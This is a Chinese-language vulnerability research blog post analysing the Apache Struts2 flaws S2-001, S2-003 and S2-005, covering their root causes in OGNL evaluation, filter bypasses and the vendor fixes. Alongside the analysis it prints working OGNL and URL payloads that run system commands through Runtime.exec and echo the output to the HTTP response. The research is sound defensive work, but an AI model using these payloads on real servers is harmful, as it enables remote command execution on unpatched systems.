[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31


前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

S2-001

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-001

影响版本:Struts 2.0.0 - Struts 2.0.8

漏洞复现和分析

根据漏洞描述,可知struts2中有个名为altSyntax的特性,该特性允许在表单中提交包含OGNL表达式的字符串(一般是通过文本字段,即struts2的<s:textfile>标签),且可对包含OGNL的表达式进行递归计算。

漏洞复现环境使用的是docker镜像:medicean/vulapps:s_struts2_s2-001

这里先使用最简单的PoC进行调试:%{2+5}
在这里插入图片描述
Submit提交后,OGNL表达式返回结果并填充在textfield文本框中:
在这里插入图片描述
由于漏洞是在struts2对文本标签<s:textfield>处理的过程中触发的,所以先找到相对应的处理类。在IDEA里,对着<s:textfield>处点击便可定位到文件struts-tags.tld,其中可看到该标签相关的一些属性定义,包括该标签的对应的处理类为:org.apache.struts2.views.jsp.ui.TextFieldTag
在这里插入图片描述
在该类中搜索处理开始标签和结束标签的方法,发现其使用的是父类ComponentTagSupport的处理方法:doStarTagdoEndTag
在这里插入图片描述
在这两个方法中下断点。经调试发现,触发漏洞是在doEndTag方法中。因此,当当前标签时TextField类型时,单步跟进调试。
在这里插入图片描述
调试进入UIBean#evaluateParams()方法中,当请求的参数中valuenull时,则会根据name属性的值去获取对应的value属性的值。且altSyntax特性默认是开启的(该属性设置在struts2的文件default.properties中),所以这里会用OGNL表达式的标识符%{}name属性的值包住,比如当前表单的用户名文本输入框中,name属性的值为username,则加了OGNL表达式标识符后变为:%{username},如下图:
在这里插入图片描述
继续跟进findValue()方法,后面会进入到TextParserUtil#translateVariables()方法中,如下图:
在这里插入图片描述
TextParserUtil#translateVariables()方法中,有一个while(true)循环,这里会调用OgnlValueStack#findValue()方法来计算OGNL表达式(其实底层调用的还是OGNL的API)计算。

计算%{username},截取%{}里面的内容username,会从值栈ValueStack的Root对象中获取keyusername的值,即%{2+5}。由于获取到的值%{2+5}仍然是一个OGNL表达式,故会再次进行计算,此时便是计算2+5得到值7

PS:本文不会详细讨论struts2的ValueStack、OGNL等知识点。
想了解的朋友可参考陆舟的《Struts2技术内幕》一书中的第6章, 以及第8章的8.2小节。

到此,漏洞原理的部分已经分析完了。

由于笔者比较好奇为什么表单文本框的内容提交后OGNL表达式的计算结果会以替换文本输入框内容的方式进行回显。于是便进一步调试。
发现在UIBean#evaluateParams()计算完成后,会进入UIBean#mergeTemplate()方法构造一个页面返回到客户端。跟进该方法,如下图:
在这里插入图片描述
可看到该方法中使用了模板引擎Freemarker进行页面的构造,这里主要先针对用户名的文本框进行构造,所需参数由getParameters()方法返回,返回的值里就包含了上面OGNL表达式%{2+5}的计算结果7,保存在keynameValue的值中。

再来看看此时使用的模板template参数的值/template/xhtml/text,最后定位到具体的模板文件/template/simple/text.ftl,内容如下图:
在这里插入图片描述
这就一目了然了:这里会判断参数parameters中的nameValue的值是否存在,存在的话便填充到该文本输入框的value属性中。

可回显PoC

这里使用OGNL上下文对象context去获取HttpServletResponse对象,如下图:
在这里插入图片描述
于是有:

%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}

在这里插入图片描述

漏洞修复

struts2 2.0.9版本中,依赖的XWork的版本为2.0.4,在该版本中,com.opensymphony.xwork2.util.TextParseUtil#translateVariables() 判断循环的次数,如果超过1次,就退出while(true)循环体,从而避免OGNL表达式的递归执行,如下图所示。
在这里插入图片描述
换言之,在处理完%{username}后,就不能对获取到的值再进行OGNL表达式计算了。

S2-003

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-003

影响版本:Struts 2.0.0 - Struts 2.0.11.2

漏洞复现与分析

如公告所述,该漏洞存在于Struts2默认的一个拦截器ParametersInterceptor。该过滤器在处理请求参数时,为了防止外界输入通过OGNL表达式来操作OGNL上下文对象context,对字符#进行了安全过滤。但由于OGNL可以识别unicode编码,故可将字符#进行unicode编码(即\u0023)后进行绕过。

漏洞复现环境使用struts-2.0.11.2/apps/struts2-blank-2.0.11.2.war

客户端发送请求后,在ParametersInterceptor#doIntercept()方法里断下,然后会先调用OgnlContextState.setDenyMethodExecution(contextMap, true)方法来设置不允许OGNL表达式调用方法。然后调用ParametersInterceptor#setParameters()方法对请求参数进行处理。如下图:

关于OgnlContextState.setDenyMethodExecution(contextMap, true)控制不允许OGNL表达式调用方法的实现原理,简单说一下:其实就是在OGNL上下文对象context内设置一个标志位,key为XWorkMethodAccessor的字符串常量DENY_METHOD_EXECUTION,值为true。当OGNL表达式里有方法调用时,OGNL的底层实现会调用XWorkMethodAccessor#callMethod()方法,里面会判断上下文对象context中DENY_METHOD_EXECUTION对应的值,如果是true,则不会执行方法,反之则执行方法。
 
关于OGNL中MethodAccessor的知识点这里不详细讨论,请参考陆舟的《Struts2技术内幕》一书中第6章的6.3小节。

在这里插入图片描述
继续跟进ParametersInterceptor#setParameters()方法,里面会调用ParametersInterceptor#acceptableName()对参数名进行安全校验,即是否包含特殊字符=,#:。如果没有包含指定字符,则继续执行,会调用OgnlValueStack#setValue()对参数名进行OGNL表达式计算。
在这里插入图片描述
在这里插入图片描述
继续跟进,会调用OgnlUtil#compile()方法,当首次请求时,expressions这个HashMap集合中没有以当前表达式作为keyvalue,所以会调用Ognl#parseExpression()解析当前表达式,而解析后的结果存放到expressions这个HashMap集合中。
在这里插入图片描述
Ognl#parseExpression()的解析过程中,后面会调用JavaCharStream#readChar(),该方法中,会对unicode编码转化为ASCII码字符。比如\u0023会转化为#。如下图:
在这里插入图片描述
综上,我们就可以将OGNL表达式中的特殊符号=,#:进行unicode编码后再发送,便可绕过acceptableName()方法的过滤。然后再利用OGNL表达式的Expression Evaluation特性来编写PoC。

说到OGNL的Expression Evaluation特性,它支持(expr)、(expr1)(expr2)或(expr1)(expr2)(expr3)这样的写法。
 
但遗憾的是,官方文档对Expression Evaluation的用法解释得让人看不懂,因为它的字面意思跟这个漏洞公开的PoC的编写逻辑个人感觉对不上。
 
另外,网上关于Struts2 RCE漏洞的分析文章大多数都没有对(expr1)(expr2)OGNL表达式求值背后的计算逻辑进行说明,少数有说到这个的却没有说明白。
 
我在调试这个漏洞的时候花了不少时间在Ognl#setValue()方法的底层实现上,想搞清楚它背后的运算逻辑,比如该漏洞的PoC为什么用(java_code)(fuck)(fuck)可以成功执行Java代码,而(fuck)(fuck)(java_code)这种调换了一下位置就不行?
 
但调试的过程发现,其底层实现比较复杂,涉及到将字符串转换为Ognl底层的AST语法树,然后括号()中不同形式的表达式,OGNL底层会使用不同类型的AST Node类去表示,如果某个AST Node还是一个AST语法树的话,又继续解析。且不同类型的AST Node,其行为是不同的,比如有的方法用的父类SimpleNode的方法,有的是重写了自己的方法,而这些不同可能会决定了()表达式顺序如何摆放才能成功执行Java代码。
 
所以到最后我都没办法用言语来描述它的运算规则。因此,我只能用一种笨办法来获得结论,就是用不同形式的求值表达式去做测试,看哪种形式可以成功执行Java代码,测试结果如下:
 
OGNL表达式求值(Expression Expression):
 
1、如果是调用的OgnlUtil.getValue()方法,则以下表达式可以执行java代码:

  • (java code)
  • (java code)(fuck)
  • (fuck)(java code)
  • (java code)(fuck)(fuck)
  • (fuck)(java code)(fuck)
     

2、如果是调用的OgnlUtil.setValue()方法,则以下表达式可以执行java代码:

  • (java code)(fuck)
  • (fuck)(java code)
  • (java code)(fuck)(fuck)
  • (fuck)(java code)(fuck)

因为这个该漏洞时由OgnlUtil.setValue()方法去触发的,所以综上,可简单执行命令的PoC如下:

/xxx.action?
(a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&(b)(%5cu0040java.lang.Runtime%5cu0040getRuntime().exec(%22touch%20/tmp/success2%22))

可回显PoC

与S2-001回显PoC同理,也是通过从上下文对象context获取com.opensymphony.xwork2.dispatcher.HttpServletResponse对象来实现,如下:

/xxx.action?
(a)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)(bla)
&(b)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))(bla)
&(c)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))(bla)
&(d)(%5cu0023res%5cu003dnew%5cu0020char[20000])(bla)
&(e)(%5cu0023dis.read(%5cu0023res))(bla)
&(f)(%5cu0023writer%5cu003d%5cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())(bla)
&(g)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))(bla)
&(h)(%5cu0023writer.flush())(bla)
&(i)(%5cu0023writer.close())(bla)

在这里插入图片描述
当然,这里用两个括号的形式也是可以的,但是无论用哪种,Java代码一定要放在第二个括号里,第一个括号里的用来决定表达式的执行顺序。因为在ParametersInterceptor#setParameters()方法中会把所有的url请求参数放在一个TreeMap里,且作为key进行存放。而TreeMap默认是会按照key进行字典排序的。所以如果要让PoC里所有的表达式都按照指定的先后顺序执行的话,必须使用第一个括号进行排序。比如上面回显PoC里第一个表达式先后依次就是(a)->(b)->(c)->(d)->(e)->(f)->(g)->(h)->(i)

注意:这个PoC在有的高版本的Tomcat会报400错误,提示java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are defined in RFC 7230 and RFC 3986,这是因为高版本的Tomcat按照RFC规定实现,不允许URL中出现中括号[],这时只需将URL里的中括号[]进行url编码即可。

漏洞修复

Struts2 2.0.12版本,依赖的XWork版本是2.0.6。通过比对XWork 2.0.62.0.5版本的源码的不同,发现在类OgnlValueStack中使用了SecurityMemberAccess去替代StaticMemberAccess
在这里插入图片描述
OgnlValueStack还因实现了新接口MemberAccessValueStack而实现了其两个方法:
在这里插入图片描述
而这两个方法在ParametersInterceptor#setParameters()方法中被调用:
在这里插入图片描述
那么SecurityMemberAccess这个类是如何起到防护作用的呢?

跟踪代码到最后OGNL表达式中如果有Java方法被调用的话,最终会调用OgnlRuntime#callAppropriateMethod()方法,里面有个isMethodAccessible()方法的判断:
在这里插入图片描述
从上图代码可知,isMethodAccessible()方法一定要返回true,才能继续往下走从而通过反射调用我们的Java方法,否则抛异常NoSuchMethodException

继续跟进isMethodAccessible(),发现最终会调用SecurityMemberAccess#isAcceptableProperty()方法进行判断, 该方法要返回true才可以, 其实现如下:
在这里插入图片描述
在这里插入图片描述
很明显,需要isAccepted()返回true并且isExcluded(name)返回false才行。

isAccepted()isExcluded()的返回值取决于SecurityMemberAccess的两个属性:acceptPropertiesexcludeProperties。这两个属性的赋值前面提到,是在ParametersInterceptor#setParameters()方法中,其对应的值是ParametersInterceptor的两个属性acceptParamsexcludeParams。通过阅读代码可知,acceptParams是一个空的集合,而excludeParams这个集合由于interceptor的配置文件中ParametersInterceptor配置了该属性的初始值所以并不是空集合。其实这两个属性的值也可以通过调试可知。

在这里插入图片描述
所以isAccepted()是会返回true的,而isExcluded()也返回了true从而导致无法执行Java方法。

但这种修复方式,不治标也不治本。虽然给Java执行方法的门上了一把锁,但却把钥匙也插在锁上了,从而有了后面的S2-005。

S2-005

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-005

影响版本:Struts 2.0.0 - Struts 2.1.8.1

漏洞复现与分析

漏洞环境:Struts2-2.0.12/apps/struts2-blank-2.0.12.war

从前面对S2-003的漏洞修复部分可以知道,只要想办法让SecurityMemberAccess#isExcluded()方法返回false,就能让我们注入的OGNL表达式中的Java方法执行。而要SecurityMemberAccess#isExcluded()方法返回false,就得让SecurityMemberAccessexcludeProperties这个集合置空才行。

通过查看源码,发现SecurityMemberAccess对象是在OgnlValueStack对象被创建时,存放到其context属性(即该值栈的上下文对象, OgnlContext)中的。
在这里插入图片描述
在这里插入图片描述
所以是不是可以通过OGNL表达式#context['memberAccess']就能访问SecurityMemberAccess对象了呢?

答案是否定的。

通过阅读OgnlContext的源码发现,OgnlContext虽然自身实现了Map集合接口,并重写了Map#put()Map#get()方法。但并没有把SecurityMemberAccess对象put()到内部Map集合中,而是赋值给自己的成员变量memberAccess中。实际上,OgnlContext是使用了装饰模式去扩展Map接口的。其内部有两个Map类型的成员变量:RESERVED_KEYSvalues来进行实际的Map容器存取操作。因此我们不能通过OGNL表达式#context['memberAccess']来访问SecurityMemberAccess对象。
在这里插入图片描述
但是从OgnlContext重写Mapget()方法中,我们看到了有意思的事,就是如果当RESERVED_KEYS集合包含名为_memberAccesskey时,会返回SecurityMemberAccess对象。而RESERVED_KEYS集合中确实是包含这个key的。所以我们就可以通过OGNL表达式#context['_memberAccess']#_memberAccess去访问到SecurityMemberAccess对象。
在这里插入图片描述
在这里插入图片描述
因此简单执行命令的PoC如下:

/xxx.action?
(a)(%5cu0023_memberAccess.excludeProperties%5cu003d@java.util.Collections@EMPTY_SET)
&(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('touch%5cu0020/tmp/success2'))

可回显PoC

与前面漏洞不同的是,本次漏洞的回显PoC无法像之前的方式去获取com.opensymphony.xwork2.dispatcher.HttpServletResponse对象来实现。经调试发现,因为当前context对象是在一个新的OgnlValueStack值栈对象(即newStack)里的,其中并没有这个键值,如下图:
在这里插入图片描述
因为这个里的newStack是由原来的stack新建的,阅读OgnlValueStack(ValueStack)构造方法的实现可知,新建的newStack并不会拷贝stackcontext上下文对象的键值对。所以这里换一种方式,使用静态方法ServletActionContext#getResponse()去获取HttpServletResponse对象,实际上它获取的就是原来的stack值栈结构中的context上下文对象里的com.opensymphony.xwork2.dispatcher.HttpServletResponse

因此构造可回显PoC如下:

/xxx.action?
(a)(%5cu0023_memberAccess.excludeProperties%5cu003d@java.util.Collections@EMPTY_SET)
&(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))
&(d)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))
&(e)(%5cu0023res%5cu003dnew%5cu0020char[20000])
&(f)(%5cu0023dis.read(%5cu0023res))
&(g)(%5cu0023writer%5cu003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())
&(h)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))
&(i)(%5cu0023writer.flush())
&(j)(%5cu0023writer.close())

在这里插入图片描述
后来用Struts2 2.1.8.1版本也调了下,发现代码有细微差别。上面的PoC无效。不过实现思路是一样的,改一下即可:

/xxx.action?
(a)(%5cu0023_memberAccess.allowStaticMethodAccess%5cu003dtrue)
&(b)(%5cu0023context['xwork.MethodAccessor.denyMethodExecution']%5cu003dfalse)
&(c)(%5cu0023ret%5cu003d@java.lang.Runtime@getRuntime().exec('id'))
&(d)(%5cu0023dis%5cu003dnew%5cu0020java.io.BufferedReader(new%5cu0020java.io.InputStreamReader(%5cu0023ret.getInputStream())))
&(e)(%5cu0023res%5cu003dnew%5cu0020char[20000])
&(f)(%5cu0023dis.read(%5cu0023res))
&(g)(%5cu0023writer%5cu003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())
&(h)(%5cu0023writer.println(new%5cu0020java.lang.String(%5cu0023res)))
&(i)(%5cu0023writer.flush())
&(j)(%5cu0023writer.close())

在这里插入图片描述

漏洞修复

在Struts2 2.2.1版本中,使用了正则表达式匹配白名单字符的方式去校验请求url的参数:
在这里插入图片描述

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值